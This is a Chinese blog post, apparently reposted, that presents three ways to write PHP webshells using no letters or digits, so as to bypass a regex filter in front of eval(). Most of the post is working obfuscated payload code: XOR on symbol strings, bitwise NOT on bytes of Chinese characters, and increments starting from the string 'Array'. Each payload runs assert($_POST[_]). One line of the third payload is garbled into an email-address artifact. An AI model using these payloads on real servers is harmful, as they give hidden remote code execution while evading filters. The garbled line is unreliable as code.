1. 程式人生 > >一些不包含數字和字母的webshell

一些不包含數字和字母的webshell

在小密圈提了個問題,“如何編寫一個不使用數字和字母的webshell”,並具體成如下程式碼:

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);
}

那麼,這個程式碼如何利用?

思路

首先,明確思路。我的核心思路是,將非字母、數字的字元經過各種變換,最後能構造出a-z中任意一個字元。然後再利用PHP允許動態函式執行的特點,拼接處一個函式名,如“assert”,然後動態執行之即可。

那麼,變換方法 將是解決本題的要點。

不過在此之前,我需要說說php5和7的差異。

php5中assert是一個函式,我們可以通過$f='assert';$f(...);

這樣的方法來動態執行任意程式碼。

但php7中,assert不再是函式,變成了一個語言結構(類似eval),不能再作為函式名動態執行程式碼,所以利用起來稍微複雜一點。但也無需過於擔心,比如我們利用file_put_contents函式,同樣可以用來getshell。

下文為了方便起見,使用PHP5作為環境,PHP7相關的利用方法自己探索吧。

方法一

這是最簡單、最容易想到的方法。在PHP中,兩個字串執行異或操作以後,得到的還是一個字串。所以,我們想得到a-z中某個字母,就找到某兩個非字母、數字的字元,他們的異或結果是這個字母即可。

得到如下的結果(因為其中存在很多不可列印字元,所以我用url編碼表示了):

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

執行結果如下:

方法二

和方法一有異曲同工之妙,唯一差異就是,方法一使用的是位運算裡的“異或”,方法二使用的是位運算裡的“取反”。

方法二利用的是UTF-8編碼的某個漢字,並將其中某個字元取出來,比如'和'{2}

的結果是"\x8c",其取反即為字母s

<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);

這個答案還利用了PHP的弱型別特性。因為要獲取'和'{2},就必須有數字2。而PHP由於弱型別這個特性,true的值為1,故true+true==2,也就是('>'>'<')+('>'>'<')==2

方法三

那麼,如果不用位運算這個套路,能不能搞定這題呢?有何不可。

也就是說,'a'++ => 'b''b'++ => 'c'... 所以,我們只要能拿到一個變數,其值為a,通過自增操作即可獲得a-z中所有字元。

那麼,如何拿到一個值為字串'a'的變數呢?

巧了,陣列(Array)的第一個字母就是大寫A,而且第4個字母是小寫a。也就是說,我們可以同時拿到小寫和大寫A,等於我們就可以拿到a-z和A-Z的所有字母。

在PHP中,如果強制連線陣列和字串的話,陣列將被轉換成字串,其值為Array

再取這個字串的第一個字母,就可以獲得'A'了。

利用這個技巧,我編寫了如下webshell(因為PHP函式是大小寫不敏感的,所以我們最終執行的是ASSERT($_POST[_]),無需獲取小寫a):

<?php
$_=[];
[email protected]"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

執行結果: